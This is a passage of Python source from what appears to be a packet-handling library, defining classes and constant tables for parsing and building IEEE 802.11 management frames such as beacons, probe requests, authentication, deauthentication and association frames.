\"Get the hardware queue to send the frame on.\" \n##\n##        values=self.__get_field_values(self.RTF_HARDWARE_QUEUE)\n##        if not values:\n##            return None\n##        return values[0]\n\n    def __update_header_length(self):\n        'Update the RadioTap header length field with the real size'\n        self.header.set_word(2, self.get_header_size(), \"<\")\n\n    def get_packet(self):\n        self.__update_header_length()\n        return ProtocolPacket.get_packet(self)\n\nclass Dot11ManagementFrame(ProtocolPacket):\n    '802.11 Management Frame'\n    \n    def __init__(self, aBuffer = None):\n        header_size = 22\n        tail_size = 0\n\n        ProtocolPacket.__init__(self, header_size, tail_size)\n        if(aBuffer):\n            self.load_packet(aBuffer)\n\n    def get_duration(self):\n        'Return 802.11 Management frame \\'Duration\\' field'\n        b = self.header.get_word(0, \"<\")\n        return b \n\n    def set_duration(self, value):\n        'Set the 802.11 Management frame \\'Duration\\' field' \n        # set the bits\n        nb = value & 0xFFFF\n        self.header.set_word(0, nb, \"<\")\n        \n    def get_destination_address(self):\n        'Return 802.11 Management frame \\'Destination Address\\' field as a 6 bytes array'\n        return self.header.get_bytes()[2:8]\n\n    def set_destination_address(self, value):\n        'Set 802.11 Management frame \\'Destination Address\\' field as a 6 bytes array'\n        for i in range(0, 6):\n            self.header.set_byte(2+i, value[i])\n\n    def get_source_address(self):\n        'Return 802.11 Management frame \\'Source Address\\' field as a 6 bytes array'\n        return self.header.get_bytes()[8:14]\n\n    def set_source_address(self, value):\n        'Set 802.11 Management frame \\'Source Address\\' field as a 6 bytes array'\n        for i in range(0, 6):\n            self.header.set_byte(8+i, value[i])\n            \n    def get_bssid(self):\n        'Return 802.11 Management frame \\'BSSID\\' field as a 6 bytes array'\n        return self.header.get_bytes()[14: 20]\n\n    def set_bssid(self, value):\n        'Set 802.11 Management frame \\'BSSID\\' field as a 6 bytes array'\n        for i in range(0, 6):\n            self.header.set_byte(14+i, value[i])\n\n    def get_sequence_control(self):\n        'Return 802.11 Management frame \\'Sequence Control\\' field'\n        b = self.header.get_word(20, \"<\")\n        return b \n\n    def set_sequence_control(self, value):\n        'Set the 802.11 Management frame \\'Sequence Control\\' field' \n        # set the bits\n        nb = value & 0xFFFF\n        self.header.set_word(20, nb, \"<\")\n\n    def get_fragment_number(self):\n        'Return 802.11 Management frame \\'Fragment Number\\' subfield'\n\n        b = self.get_sequence_control()\n        return (b&0x000F) \n\n    def set_fragment_number(self, value):\n        'Set the 802.11 Management frame \\'Fragment Number\\' subfield' \n        # clear the bits\n        mask = (~0x000F) & 0xFFFF\n        masked = self.header.get_word(20, \"<\") & mask\n        # set the bits \n        nb = masked | (value & 0x000F)\n        self.header.set_word(20, nb, \"<\")\n        \n    def get_sequence_number(self):\n        'Return 802.11 Management frame \\'Sequence Number\\' subfield'\n        \n        b = self.get_sequence_control()\n        return ((b>>4) & 0xFFF) \n    \n    def set_sequence_number(self, value):\n        'Set the 802.11 Management frame \\'Sequence Number\\' subfield' \n        # clear the bits\n        mask = (~0xFFF0) & 0xFFFF\n        masked = self.header.get_word(20, \"<\") & mask\n        # set the bits \n        nb = masked | ((value & 0x0FFF ) << 4 ) \n        self.header.set_word(20, nb, \"<\")\n\n    def get_frame_body(self):\n        'Return 802.11 Management frame \\'Frame Body\\' field'\n        \n        return self.get_body_as_string()\n\n    def set_frame_body(self, data):\n        'Set 802.11 Management frame \\'Frame Body\\' field'\n        \n        self.load_body(data)\n\nclass DOT11_MANAGEMENT_ELEMENTS():\n    SSID                    =  0\n    SUPPORTED_RATES         =  1\n    FH_PARAMETER_SET        =  2\n    DS_PARAMETER_SET        =  3\n    CF_PARAMETER_SET        =  4\n    TIM                     =  5\n    IBSS_PARAMETER_SET      =  6\n    COUNTRY                 =  7\n    HOPPING_PARAMETER       =  8\n    HOPPING_TABLE           =  9\n    REQUEST                 = 10\n    BSS_LOAD                = 11\n    EDCA_PARAMETER_SET      = 12\n    TSPEC                   = 13\n    TCLAS                   = 14\n    SCHEDULE                = 15\n    CHALLENGE_TEXT          = 16\n    # RESERVED                17-31 \n    POWER_CONSTRAINT        = 32\n    POWER_CAPABILITY        = 33\n    TPC_REQUEST             = 34\n    TPC_REPORT              = 35\n    SUPPORTED_CHANNELS      = 36\n    CHANNEL_SWITCH_ANN      = 37\n    MEASURE_REQ             = 38\n    MEASURE_REP             = 39\n    QUIET                   = 40\n    IBSS_DFS                = 41\n    ERP_INFO                = 42\n    TS_DELAY                = 43\n    TCLAS_PROCESSING        = 44\n    #RESERVED                 45  # See: IEEE 802.11n\n    QOS_CAPABILITY          = 46\n    #RESERVED                 47  # See: IEEE 802.11g\n    RSN                     = 48\n    #RESERVED                 49\n    EXT_SUPPORTED_RATES     = 50\n    #RESERVED                 51-126\n    EXTENDED_CAPABILITIES   = 127\n    #RESERVED                 128-220\n    VENDOR_SPECIFIC         = 221\n    #RESERVED                 222-255\n    \nclass Dot11ManagementHelper(ProtocolPacket):\n        \n    def __init__(self, header_size, tail_size, aBuffer = None):\n        self.__HEADER_BASE_SIZE=header_size\n        \n        if aBuffer:\n            elements_length=self.__calculate_elements_length(aBuffer[self.__HEADER_BASE_SIZE:])\n            header_size+=elements_length\n            \n            ProtocolPacket.__init__(self, header_size, tail_size)\n            self.load_packet(aBuffer)\n        else:\n            ProtocolPacket.__init__(self, header_size, tail_size)\n\n    def _find_element(self, elements, element_id ):\n        remaining=len(elements)\n        \n        offset=0\n        while remaining > 0:\n            (id,length)=struct.unpack(\"!BB\",elements[offset:offset+2])\n            if element_id is None:\n                pass # through the whole list returning the length\n            elif id==element_id:\n                yield (0,offset,length+2)    # ==\n            length+=2 #id+length\n            offset+=length\n            if length>remaining:\n                # Error!!\n                length = remaining\n            remaining-=length\n        # < Not found\n        yield (-1, offset, None)\n\n    def __calculate_elements_length(self, elements):\n        gen_tp=self._find_element(elements, None )\n        (match,offset,length)=next(gen_tp)\n        if match != -1:\n            # element_id is None, then __find_tagged_parameter must return -1\n            raise Exception(\"Internal Error %s\"%match)\n        return offset\n        \n    def _get_elements_generator(self, element_id):\n        elements=self.get_header_as_string()[self.__HEADER_BASE_SIZE:]\n        gen_tp=self._find_element(elements, element_id )\n        while True:\n            (match,offset,length)=next(gen_tp)\n            if match != 0:\n                return\n            value_offset=offset+2\n            value_end=offset+length\n            value=elements[value_offset:value_end]\n            yield value\n        \n    def _get_element(self, element_id):\n        gen_get_element=self._get_elements_generator(element_id)\n        try:\n            s=next(gen_get_element)\n            \n            if s is None:\n                raise Exception(\"gen_get_element salio con None in _get_element!!!\")\n            \n            return s\n        except StopIteration:\n            pass\n            \n        return None\n\n    def delete_element(self, element_id, multiple = False):\n        header=self.get_header_as_string()\n        elements=header[self.__HEADER_BASE_SIZE:]\n        gen_tp=self._find_element(elements, element_id )\n        found=False\n        while True:\n            (match,offset,length)=next(gen_tp)\n            if match != 0:\n                break\n            start=self.__HEADER_BASE_SIZE+offset\n            header=header[:start]+header[start+length:]\n            found=True\n            if multiple is False:\n                break\n            \n        if not found:\n            return  False\n        \n        self.load_header(header)\n        return True\n    \n    def _set_element(self, element_id, value, replace = True):\n        parameter=struct.pack('BB%ds'%len(value),element_id,len(value),value)\n        \n        header=self.get_header_as_string()\n        elements=header[self.__HEADER_BASE_SIZE:]\n        gen_tp=self._find_element(elements, element_id )\n        found=False\n        while True:\n            (match,offset,length)=next(gen_tp)\n            start=self.__HEADER_BASE_SIZE+offset\n            if match == 0 and replace:\n                # Replace\n                header=header[:start]+parameter+header[start+length:]\n                found=True\n                break\n            elif match > 0:\n                # Add\n                header=header[:start]+parameter+header[start:]\n                found=True\n                break\n            else:\n                break\n        if not found:\n            # Append (found<0 Not found)\n            header=header+parameter        \n        self.load_header(header)\n\nclass Dot11ManagementBeacon(Dot11ManagementHelper):\n    '802.11 Management Beacon Frame'\n        \n    __HEADER_BASE_SIZE = 12 # minimal header size\n\n    def __init__(self, aBuffer = None):\n        header_size = self.__HEADER_BASE_SIZE\n        tail_size = 0\n        Dot11ManagementHelper.__init__(self, header_size, tail_size, aBuffer)\n\n    def get_timestamp(self):\n        'Return the 802.11 Management Beacon frame \\'Timestamp\\' field' \n        b = self.header.get_long_long(0, \"<\")\n        return b \n\n    def set_timestamp(self, value):\n        'Set the 802.11 Management Beacon frame \\'Timestamp\\' field' \n        # set the bits\n        nb = value & 0xFFFFFFFFFFFFFFFF\n        self.header.set_long_long(0, nb, \"<\")\n\n    def get_beacon_interval(self):\n        'Return the 802.11 Management Beacon frame \\'Beacon Interval\\' field' \\\n        'To convert it to seconds =>  secs = Beacon_Interval*1024/1000000'\n\n        b = self.header.get_word(8, \"<\")\n        return b \n\n    def set_beacon_interval(self, value):\n        'Set the 802.11 Management Beacon frame \\'Beacon Interval\\' field' \n        # set the bits\n        nb = value & 0xFFFF\n        self.header.set_word(8, nb, \"<\")\n\n    def get_capabilities(self):\n        'Return the 802.11 Management Beacon frame \\'Capability information\\' field. '\n        \n        b = self.header.get_word(10, \"<\")\n        return b \n\n    def set_capabilities(self, value):\n        'Set the 802.11 Management Beacon frame \\'Capability Information\\' field' \n        # set the bits\n        nb = value & 0xFFFF\n        self.header.set_word(10, nb, \"<\")\n        \n    def get_ssid(self):\n        \"Get the 802.11 Management SSID element. \"\\\n        \"The SSID element indicates the identity of an ESS or IBSS.\"\n        return self._get_element(DOT11_MANAGEMENT_ELEMENTS.SSID)\n\n    def set_ssid(self, ssid):\n        self._set_element(DOT11_MANAGEMENT_ELEMENTS.SSID,ssid)\n\n    def get_supported_rates(self, human_readable=False):\n        \"Get the 802.11 Management Supported Rates element. \"\\\n        \"Specifies up to eight rates, then an Extended Supported Rate element \"\\\n        \"shall be generated to specify the remaining supported rates.\"\\\n        \"If human_readable is True, the rates are returned in Mbit/sec\"\n        s=self._get_element(DOT11_MANAGEMENT_ELEMENTS.SUPPORTED_RATES)\n        if s is None:\n            return None\n        \n        rates=struct.unpack('%dB'%len(s),s)\n        if not human_readable:\n            return rates\n            \n        rates_Mbs=tuple([(x&0x7F)*0.5 for x in rates])\n        return rates_Mbs\n\n    def set_supported_rates(self, rates):\n        \"Set the 802.11 Management Supported Rates element. \"\\\n        \"Specifies a tuple or list with up to eight rates, then an \"\\\n        \"Extended Supported Rate element shall be generated to specify \"\\\n        \"the remaining supported rates.\"\n        qty_rates=len(rates)\n        if qty_rates>8:\n            raise Exception(\"requires up to eight rates\")\n        rates_string=struct.pack('B'*qty_rates,*rates)\n        self._set_element(DOT11_MANAGEMENT_ELEMENTS.SUPPORTED_RATES,rates_string)\n\n    def get_ds_parameter_set(self):\n        \"Get the 802.11 Management DS Parameter set element. \"\\\n        \"Contains information to allow channel number identification for \"\\\n        \"STAs using a DSSS PHY.\"\n        s=self._get_element(DOT11_MANAGEMENT_ELEMENTS.DS_PARAMETER_SET)\n        if s is None:\n            return None\n        \n        (ch,)=struct.unpack('B',s)\n\n        return ch\n\n    def set_ds_parameter_set(self, channel):\n        \"Set the 802.11 Management DS Parameter set element. \"\\\n        \"Contains information to allow channel number identification for \"\\\n        \"STAs using a DSSS PHY.\"\n        channel_string=struct.pack('B',channel)\n        self._set_element(DOT11_MANAGEMENT_ELEMENTS.DS_PARAMETER_SET,channel_string)\n\n    def get_rsn(self):\n        \"Get the 802.11 Management Robust Security Network element.\"\n        s = self._get_element(DOT11_MANAGEMENT_ELEMENTS.RSN)\n        if s is None:\n            return None\n        return s\n\n    def set_rsn(self, data):\n        \"Set the 802.11 Management Robust Security Network element.\"\n        self._set_element(DOT11_MANAGEMENT_ELEMENTS.RSN, data)\n\n    def get_erp(self):\n        \"Get the 802.11 Management ERP (extended rate PHY) Information element.\"\n        s = self._get_element(DOT11_MANAGEMENT_ELEMENTS.ERP_INFO)\n        if s is None:\n            return None\n\n        (erp,) = struct.unpack('B',s)\n        \n        return erp\n\n    def set_erp(self, erp):\n        \"Set the 802.11 Management ERP (extended rate PHY) Inforamation \"\\\n        \"element.\"\n        erp_string = struct.pack('B',erp)\n        self._set_element(DOT11_MANAGEMENT_ELEMENTS.ERP_INFO, erp_string)\n\n    def get_country(self):\n        \"Get the 802.11 Management Country element.\" \\\n        \"Returns a tuple containing Country code, first channel number, \"\\\n        \"number of channels and maximum transmit power level\"\n        s = self._get_element(DOT11_MANAGEMENT_ELEMENTS.COUNTRY)\n        if s is None:\n            return None\n\n        code, first, num, max = struct.unpack('3sBBB',s)\n        code = code.strip(' ')\n        return code, first, num, max\n\n    def set_country(self, code, first_channel, number_of_channels, max_power):\n        \"Set the 802.11 Management Country element.\"\n        if len(code) > 3:\n            raise Exception(\"Country code must be up to 3 bytes long\")\n\n        #Padding the country code\n        code += ' ' * (3-len(code))\n\n        country_string = struct.pack('3sBBB', code, first_channel,\n                number_of_channels, max_power)\n        self._set_element(DOT11_MANAGEMENT_ELEMENTS.COUNTRY, country_string)\n\n    def get_vendor_specific(self):\n        \"Get the 802.11 Management Vendor Specific elements \"\\\n        \"as a list of tuples.\"\n        \"The Vendor Specific information element is used to carry \"\\\n        \"information not defined in the standard within a single \"\\\n        \"defined format\"\n        \n        vs=[]\n        gen_get_element=self._get_elements_generator(DOT11_MANAGEMENT_ELEMENTS.VENDOR_SPECIFIC)\n        try:\n            while 1:\n                s=next(gen_get_element)\n                \n                if s is None:\n                    raise Exception(\"gen_get_element salio con None!!!\")\n                \n                # OUI is 3 bytes\n                oui=s[:3]\n                data=s[3:]\n                vs.append((oui,data))\n        except StopIteration:\n            pass\n            \n        return vs\n\n    def add_vendor_specific(self, oui, data):\n        \"Set the 802.11 Management Vendor Specific element. \"\\\n        \"The Vendor Specific information element is used to carry \"\\\n        \"information not defined in the standard within a single \"\\\n        \"defined format\"\n        \n        # 3 is the OUI length\n        max_data_len=255-3\n        data_len=len(data)\n\n        if data_len>max_data_len:\n            raise Exception(\"data allow up to %d bytes long\" % max_data_len)\n        if len(oui) > 3:\n            raise Exception(\"oui is three bytes long\")\n        \n        self._set_element(DOT11_MANAGEMENT_ELEMENTS.VENDOR_SPECIFIC,oui+data, replace=False)\n\nclass Dot11ManagementProbeRequest(Dot11ManagementHelper):\n    '802.11 Management Probe Request Frame'\n        \n    def __init__(self, aBuffer = None):\n        header_size = 0\n        tail_size = 0\n        Dot11ManagementHelper.__init__(self, header_size, tail_size, aBuffer)\n\n    def get_ssid(self):\n        \"Get the 802.11 Management SSID element. \"\\\n        \"The SSID element indicates the identity of an ESS or IBSS.\"\n        return self._get_element(DOT11_MANAGEMENT_ELEMENTS.SSID)\n\n    def set_ssid(self, ssid):\n        self._set_element(DOT11_MANAGEMENT_ELEMENTS.SSID,ssid)\n\n    def get_supported_rates(self, human_readable=False):\n        \"Get the 802.11 Management Supported Rates element. \"\\\n        \"Specifies up to eight rates, then an Extended Supported Rate element \"\\\n        \"shall be generated to specify the remaining supported rates.\"\\\n        \"If human_readable is True, the rates are returned in Mbit/sec\"\n        s=self._get_element(DOT11_MANAGEMENT_ELEMENTS.SUPPORTED_RATES)\n        if s is None:\n            return None\n        \n        rates=struct.unpack('%dB'%len(s),s)\n        if not human_readable:\n            return rates\n            \n        rates_Mbs=tuple([(x&0x7F)*0.5 for x in rates])\n        return rates_Mbs\n\n    def set_supported_rates(self, rates):\n        \"Set the 802.11 Management Supported Rates element. \"\\\n        \"Specifies a tuple or list with up to eight rates, then an \"\\\n        \"Extended Supported Rate element shall be generated to specify \"\\\n        \"the remaining supported rates.\"\n        qty_rates=len(rates)\n        if qty_rates>8:\n            raise Exception(\"requires up to eight rates\")\n        rates_string=struct.pack('B'*qty_rates,*rates)\n        self._set_element(DOT11_MANAGEMENT_ELEMENTS.SUPPORTED_RATES,rates_string)\n\nclass Dot11ManagementProbeResponse(Dot11ManagementBeacon):\n    '802.11 Management Probe Response Frame'\n\n    def __init__(self, aBuffer = None):\n        Dot11ManagementBeacon.__init__(self, aBuffer)\n\nclass DOT11_REASON_CODES():\n    # RESERVED                                         = 0\n    UNSPECIFIED_REASON                                 = 1\n    PREV_AUTH_NO_LONGER_VALID                          = 2\n    DEAUTH_STA_IS_LEAVING                              = 3\n    DISASS_DUE_TO_INACTIVITY                           = 4\n    DISASS_AP_UNABLE_HANDLE_ALL_STA                    = 5\n    C2_FRAME_FROM_NONAUTHENTICATED_STA                 = 6\n    C3_FRAME_FROM_NONASSOCIATED_STA                    = 7\n    DISSASS_STA_IS_LEAVING                             = 8\n    STA_REQ_NOT_AUTH_STA                               = 9\n    DISASS_POWER_CAP_IE_UNNACCEPTABLE                  = 10\n    DISASS_SUP_CH_IE_UNNACCEPTABLE                     = 11\n    # RESERVED                                         = 12\n    INVALID_IE                                         = 13\n    MIC_FAILURE                                        = 14\n    FOUR_WAY_HANDSHAKE_TIMEOUT                         = 15\n    GROUP_KEY_HANDSHAKE_TIMEOUT                        = 16\n    IE_FOUR_WAY_HANDSHAKE_DIFFERENT                    = 17\n    INVALID_GROUP_CIPHER                               = 18\n    INVALID_PAIRWISE_CIPHER                            = 19\n    INVALID_AKMP                                       = 20\n    UNSUPPORTED_RSN_IE_VERSION                         = 21\n    INVALID_RSN_IE_CAP                                 = 22\n    X_AUTH_FAILED                                      = 23\n    CIPHER_SUITE_REJECTED_SECURITY_POLICY              = 24\n    # RESERVED                                         = 25 - 31\n    DISASS_QOS_RELATED_REASON                          = 32\n    DISASS_QOS_UNSUFFICIENT_BANDWIDTH                  = 33\n    DISASS_EXCESSIVE_FRAMES_WITHOUT_ACK                = 34\n    DISASS_STA_TX_OUTSIDE_TXOPS                        = 35\n    REQ_STA_LEAVING                                    = 36\n    REQ_STA_NOT_WANT_MECHANISM                         = 37\n    REQ_STA_RECV_FRAMES_WHICH_SETUP_REQ                = 38\n    REQ_STA_DUE_TIMEOUT                                = 39\n    STA_NOT_SUPPORT_CIPHER_SUITE                       = 45\n    # RESERVED                                         = 46 - 65 535\n\nclass Dot11ManagementDeauthentication(ProtocolPacket):\n    '802.11 Management Deauthentication Frame'\n\n    def __init__(self, aBuffer = None):\n        header_size = 2\n        tail_size = 0\n        if aBuffer:\n            ProtocolPacket.__init__(self, header_size, tail_size)\n            self.load_packet(aBuffer)\n        else:\n            ProtocolPacket.__init__(self, header_size, tail_size)\n\n    def get_reason_code(self):\n        \"Get the 802.11 Management Deauthentication or Disassociation Code.\"\n        return self.header.get_word(0, \"<\")\n\n    def set_reason_code(self, rc):\n        self.header.set_word(0, rc, \"<\")\n\nclass DOT11_AUTH_ALGORITHMS():\n    OPEN       = 0\n    SHARED_KEY = 1\n\nclass DOT11_AUTH_STATUS_CODES():\n    SUCCESSFUL                                         = 0\n    UNSPECIFIED_FAILURE                                = 1\n    # RESERVED                                         = 2 - 9\n    CAP_REQ_UNSUPPORTED                                = 10\n    REASS_DENIED_CANNOT_CONFIRM_ASS_EXISTS             = 11\n    ASS_DENIED_REASON_OUTSIDE_SCOPE_STANDARD           = 12\n    STA_NOT_SUPPORT_AUTH_ALGORITHM                     = 13\n    AUTH_SEQ_OUT_OF_EXPECTED                           = 14\n    AUTH_REJECTED_CHALLENGE_FAILURE                    = 15\n    AUTH_REJECTED_TIMEOUT                              = 16\n    ASS_DENIED_AP_UNABLE_HANDLE_MORE_STA               = 17\n    ASS_DENIED_STA_NOT_SUPPORTING_DATA_RATES           = 18\n    ASS_DENIED_STA_NOT_SUPPORTING_SHORT_PREAMBLE       = 19\n    ASS_DENIED_STA_NOT_SUPPORTING_PBCC_MODULATION      = 20\n    ASS_DENIED_STA_NOT_SUPPORTING_CHANNEL_AGILITY      = 21\n    ASS_REQUEST_REJECTED_SPACTRUM_MGT_CAP              = 22\n    ASS_REQUEST_REJECTED_POWER_CAP_IE_UNNACCEPTABLE    = 23\n    ASS_REQUEST_REJECTED_SUP_CH_IE_UNNACCEPTABLE       = 24\n    ASS_DENIED_STA_NOT_SUPPORTING_SHORT_SLOT_TIME      = 25\n    ASS_DENIED_STA_NOT_SUPPORTING_DSSS_OFDM            = 26\n    # RESERVED                                         = 27 - 31\n    UNSPECIFIED_QOS                                    = 32\n    ASS_DENIED_QOS_UNSUFFICIENT_BANDWIDTH              = 33\n    ASS_DENIED_EXCESSIVE_FRAME_LOST                    = 34\n    ASS_DENIED_STA_NOT_SUPPORT_QOS                     = 35\n    # RESERVED                                         = 36\n    REQ_HAS_BEEN_DECLINED                              = 37\n    REQ_NOT_SUCCESSFUL_PARAM_INVALID_VALUE             = 38\n    TSPEC                                              = 39\n    INVALID_IE                                         = 40\n    INVALID_GROUP_CIPHER                               = 41\n    INVALID_PAIRWISE_CIPHER                            = 42\n    INVALID_AKMP                                       = 43\n    UNSUPPORTED_RSN_IE_VERSION                         = 44\n    INVALID_RSN_IE_CAP                                 = 45\n    CIPHER_SUITE_REJECTED_SECURITY_POLICY              = 46\n    TS_NOT_CREATED                                     = 47\n    DIRECT_LINK_NOT_ALLOWED_BSS_POLICY                 = 48\n    DST_STA_NOT_PRESENT_IN_BSS                         = 49\n    DST_STA_NOT_QOS_STA                                = 50\n    ASS_DENIED_LISTEN_INTERVAL_TOO_LARGE               = 51\n    # RESERVED                                         = 52 - 65 535\n\nclass Dot11ManagementAuthentication(Dot11ManagementHelper):\n    '802.11 Management Authentication Frame'\n\n    __HEADER_BASE_SIZE = 6 # minimal header size\n\n    def __init__(self, aBuffer = None):\n        header_size = self.__HEADER_BASE_SIZE\n        tail_size = 0\n        Dot11ManagementHelper.__init__(self, header_size, tail_size, aBuffer)\n\n    def get_authentication_algorithm(self):\n        \"Get the 802.11 Management Authentication Algorithm.\"\n        return self.header.get_word(0, \"<\")\n\n    def set_authentication_algorithm(self, algorithm):\n        \"Set the 802.11 Management Authentication Algorithm.\"\n        self.header.set_word(0, algorithm, \"<\")\n\n    def get_authentication_sequence(self):\n        \"Get the 802.11 Management Authentication Sequence.\"\n        return self.header.get_word(2, \"<\")\n\n    def set_authentication_sequence(self, seq):\n        \"Set the 802.11 Management Authentication Sequence.\"\n        self.header.set_word(2, seq, \"<\")\n\n    def get_authentication_status(self):\n        \"Get the 802.11 Management Authentication Status.\"\n        return self.header.get_word(4, \"<\")\n\n    def set_authentication_status(self, status):\n        \"Set the 802.11 Management Authentication Status.\"\n        self.header.set_word(4, status, \"<\")\n\n    def get_challenge_text(self):\n        return self._get_element(DOT11_MANAGEMENT_ELEMENTS.CHALLENGE_TEXT)\n\n    def set_challenge_text(self, challenge):\n        self._set_element(DOT11_MANAGEMENT_ELEMENTS.CHALLENGE_TEXT, challenge)\n\n    def get_vendor_specific(self):\n        \"Get the 802.11 Management Vendor Specific elements \"\\\n        \"as a list of tuples.\"\n        \"The Vendor Specific information element is used to carry \"\\\n        \"information not defined in the standard within a single \"\\\n        \"defined format\"\n        \n        vs=[]\n        gen_get_element=self._get_elements_generator(DOT11_MANAGEMENT_ELEMENTS.VENDOR_SPECIFIC)\n        try:\n            while 1:\n                s=next(gen_get_element)\n                \n                if s is None:\n                    raise Exception(\"gen_get_element salio con None!!!\")\n                \n                # OUI is 3 bytes\n                oui=s[:3]\n                data=s[3:]\n                vs.append((oui,data))\n        except StopIteration:\n            pass\n            \n        return vs\n\n    def add_vendor_specific(self, oui, data):\n        \"Set the 802.11 Management Vendor Specific element. \"\\\n        \"The Vendor Specific information element is used to carry \"\\\n        \"information not defined in the standard within a single \"\\\n        \"defined format\"\n        \n        # 3 is the OUI length\n        max_data_len=255-3\n        data_len=len(data)\n\n        if data_len>max_data_len:\n            raise Exception(\"data allow up to %d bytes long\" % max_data_len)\n        if len(oui) > 3:\n            raise Exception(\"oui is three bytes long\")\n        \n        self._set_element(DOT11_MANAGEMENT_ELEMENTS.VENDOR_SPECIFIC,oui+data, replace=False)\n\nclass Dot11ManagementDisassociation(Dot11ManagementDeauthentication):\n    '802.11 Management Disassociation Frame'\n\n    def __init__(self, aBuffer = None):\n        Dot11ManagementDeauthentication.__init__(self, aBuffer)\n\nclass Dot11ManagementAssociationRequest(Dot11ManagementHelper):\n    '802.11 Management Association Request Frame'\n        \n    __HEADER_BASE_SIZE = 4 # minimal header size\n\n    def __init__(self, aBuffer = None):\n        header_size = self.__HEADER_BASE_SIZE\n        tail_size = 0\n        Dot11ManagementHelper.__init__(self, header_size, tail_size, aBuffer)\n\n    def get_capabilities(self):\n        'Return the 802.11 Management Association Request Frame \\'Capability information\\' field. '\n        b = self.header.get_word(0, \"<\")\n        return b \n\n    def set_capabilities(self, value):\n        'Set the 802.11 Management Association Request Frame \\'Capability Information\\' field' \n        # set the bits\n        nb = value & 0xFFFF\n        self.header.set_word(0, nb, \"<\")\n        \n    def get_listen_interval(self):\n        'Return the 802.11 Management Association Request Frame \\'Listen Interval\\' field. '\n        b = self.header.get_word(2, \"<\")\n        return b \n\n    def set_listen_interval(self, value):\n        'Set the 802.11 Management Association Request Frame \\'Listen Interval\\' field' \n        self.header.set_word(2, value, \"<\")\n        \n    def get_ssid(self):\n        \"Get the 802.11 Management SSID element. \"\\\n        \"The SSID element indicates the identity of an ESS or IBSS.\"\n        return self._get_element(DOT11_MANAGEMENT_ELEMENTS.SSID)\n\n    def set_ssid(self, ssid):\n        self._set_element(DOT11_MANAGEMENT_ELEMENTS.SSID,ssid)\n\n    def get_supported_rates(self, human_readable=False):\n        \"Get the 802.11 Management Supported Rates element. \"\\\n        \"Specifies up to eight rates, then an Extended Supported Rate element \"\\\n        \"shall be generated to specify the remaining supported rates.\"\\\n        \"If human_readable is True, the rates are returned in Mbit/sec\"\n        s=self._get_element(DOT11_MANAGEMENT_ELEMENTS.SUPPORTED_RATES)\n        if s is None:\n            return None\n        \n        rates=struct.unpack('%dB'%len(s),s)\n        if not human_readable:\n            return rates\n            \n        rates_Mbs=tuple([(x&0x7F)*0.5 for x in rates])\n        return rates_Mbs\n\n    def set_supported_rates(self, rates):\n        \"Set the 802.11 Management Supported Rates element. \"\\\n        \"Specifies a tuple or list with up to eight rates, then an \"\\\n        \"Extended Supported Rate element shall be generated to specify \"\\\n        \"the remaining supported rates.\"\n        qty_rates=len(rates)\n        if qty_rates>8:\n            raise Exception(\"requires up to eight rates\")\n        rates_string=struct.pack('B'*qty_rates,*rates)\n        self._set_element(DOT11_MANAGEMENT_ELEMENTS.SUPPORTED_RATES,rates_string)\n\n    def get_rsn(self):\n        \"Get the 802.11 Management Robust Security Network element.\"\n        s = self._get_element(DOT11_MANAGEMENT_ELEMENTS.RSN)\n        if s is None:\n            return None\n        return s\n\n    def set_rsn(self, data):\n        \"Set the 802.11 Management Robust Security Network element.\"\n        self._set_element(DOT11_MANAGEMENT_ELEMENTS.RSN, data)\n\n    def get_vendor_specific(self):\n        \"Get the 802.11 Management Vendor Specific elements \"\\\n        \"as a list of tuples.\"\n        \"The Vendor Specific information element is used to carry \"\\\n        \"information not defined in the standard within a single \"\\\n        \"defined format\"\n        \n        vs=[]\n        gen_get_element=self._get_elements_generator(DOT11_MANAGEMENT_ELEMENTS.VENDOR_SPECIFIC)\n        try:\n            while 1:\n                s=next(gen_get_element)\n                \n                if s is None:\n                    raise Exception(\"gen_get_element salio con None!!!\")\n                \n                # OUI is 3 bytes\n                oui=s[:3]\n                data=s[3:]\n                vs.append((oui,data))\n        except StopIteration:\n            pass\n            \n        return vs\n\n    def add_vendor_specific(self, oui, data):\n        \"Set the 802.11 Management Vendor Specific element. \"\\\n        \"The Vendor Specific information element is used to carry \"\\\n        \"information not defined in the standard within a single \"\\\n        \"defined format\"\n        \n        # 3 is the OUI length\n        max_data_len=255-3\n        data_len=len(data)\n\n        if data_len>max_data_len:\n            raise Exception(\"data allow up to %d bytes long\" % max_data_len)\n        if len(oui) > 3:\n            raise Exception(\"oui is three bytes long\")\n        \n        self._set_element(DOT11_MANAGEMENT_ELEMENTS.VENDOR_SPECIFIC,oui+data, replace=False)\n\nclass Dot11ManagementAssociationResponse(Dot11ManagementHelper):\n    '802.11 Management Association Response Frame'\n        \n    __HEADER_BASE_SIZE = 6 # minimal header size\n\n    def __init__(self, aBuffer = None):\n        header_size = self.__HEADER_BASE_SIZE\n        tail_size = 0\n        Dot11ManagementHelper.__init__(self, header_size, tail_size, aBuffer)\n\n    def get_capabilities(self):\n        'Return the 802.11 Management Association Response Frame \\'Capability information\\' field. '\n        b = self.header.get_word(0, \"<\")\n        return b \n\n    def set_capabilities(self, value):\n        'Set the 802.11 Management Association Response Frame \\'Capability Information\\' field' \n        # set the bits\n        nb = value & 0xFFFF\n        self.header.set_word(0, nb, \"<\")\n        \n    def get_status_code(self):\n        'Return the 802.11 Management Association Response Frame \\'Status Code\\' field. '\n        b = self.header.get_word(2, \"<\")\n        return b \n\n    def set_status_code(self, value):\n        'Set the 802.11 Management Association Response Frame \\'Status Code\\' field' \n        self.header.set_word(2, value, \"<\")\n\n    def get_association_id(self):\n        'Return the 802.11 Management Association Response Frame \\'Association Id\\' field. '\n        b = self.header.get_word(4, \"<\")\n        return b \n\n    def set_association_id(self, value):\n        'Set the 802.11 Management Association Response Frame \\'Association Id\\' field' \n        self.header.set_word(4, value, \"<\")\n\n    def get_supported_rates(self, human_readable=False):\n        \"Get the 802.11 Management Supported Rates element. \"\\\n        \"Specifies up to eight rates, then an Extended Supported Rate element \"\\\n        \"shall be generated to specify the remaining supported rates.\"\\\n        \"If human_readable is True, the rates are returned in Mbit/sec\"\n        s=self._get_element(DOT11_MANAGEMENT_ELEMENTS.SUPPORTED_RATES)\n        if s is None:\n            return None\n        \n        rates=struct.unpack('%dB'%len(s),s)\n        if not human_readable:\n            return rates\n            \n        rates_Mbs=tuple([(x&0x7F)*0.5 for x in rates])\n        return rates_Mbs\n\n    def set_supported_rates(self, rates):\n        \"Set the 802.11 Management Supported Rates element. \"\\\n        \"Specifies a tuple or list with up to eight rates, then an \"\\\n        \"Extended Supported Rate element shall be generated to specify \"\\\n        \"the remaining supported rates.\"\n        qty_rates=len(rates)\n        if qty_rates>8:\n            raise 